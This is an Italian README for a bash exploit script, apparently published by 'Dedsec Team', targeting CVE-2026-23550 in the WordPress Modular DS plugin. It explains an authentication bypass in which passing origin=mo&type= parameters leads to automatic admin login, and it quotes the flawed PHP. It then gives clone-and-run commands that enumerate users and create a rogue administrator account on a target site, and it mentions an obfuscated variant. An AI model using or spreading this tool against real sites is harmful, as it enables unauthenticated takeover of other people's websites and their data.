
Script Bash per l'enumerazione degli utenti WordPress e la creazione automatizzata di account amministratore, che sfrutta CVE-2026-23550 per bypassare l'autenticazione e ottenere il takeover non autenticato dell'admin.
ID CVE: CVE-2026-23550 Punteggio CVSS: 10.0 (CRITICO) Plugin interessato: Plugin WordPress Modular DS Versioni interessate: Tutte le versioni fino alla 2.5.1 inclusa Versione corretta: 2.5.2 (rilasciata il 14 gennaio 2026) Sfruttamento attivo: Confermato in natura dal 13 gennaio 2026
Questo plugin espone le sue rotte API sotto il prefisso /api/modular-connector/.
Queste rotte sono raggruppate dietro il middleware di autenticazione in RouteServiceProvider.php.
Tuttavia, l'autenticazione può essere bypassata utilizzando il metodo difettoso isDirectRequest().
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
Il modo per bypassare è molto banale: basta includere i parametri origin=mo&type=anything nella richiesta. Non c'è verifica di firma, segreto, IP o User-Agent obbligatorio – questi parametri da soli sono sufficienti per far considerare la richiesta come Modular direct request
Una volta che la richiesta è considerata "diretta", il middleware di autenticazione in ModularGuard.php controlla solo se il sito è connesso a Modular tramite validateOrRenewAccessToken(). Non esiste alcun legame crittografico tra la richiesta in arrivo e Modular stesso.
Rotte Esposte Con l'autenticazione bypassata con successo, un attaccante può accedere a:
/login/{modular_request} – login remoto (accesso admin)
/server-information – dati di sistema sensibili
/users/{modular_request} – enumerazione utenti
/backup/* – backup del sito
/cache/clear – pulizia cache
/manager/* – funzioni di gestione
/woocommerce/{modular_request} – statistiche WooCommerce
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK A QUALSIASI ADMIN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
Se non c'è un ID utente nel corpo della richiesta, il codice cerca qualsiasi admin esistente (getAdminUser()) ed effettua direttamente il login.
Autore: (Dedsec Team) Descrizione: Un potente script bash per l'enumerazione degli utenti WordPress e la creazione automatizzata di account admin. Creato solo per scopi educativi e test di sicurezza autorizzati.
/?author=1, /?author=2, ecc.)curl (per le richieste HTTP)base64 (se usi la versione offuscata, hehe)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [opzioni] <url_target>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d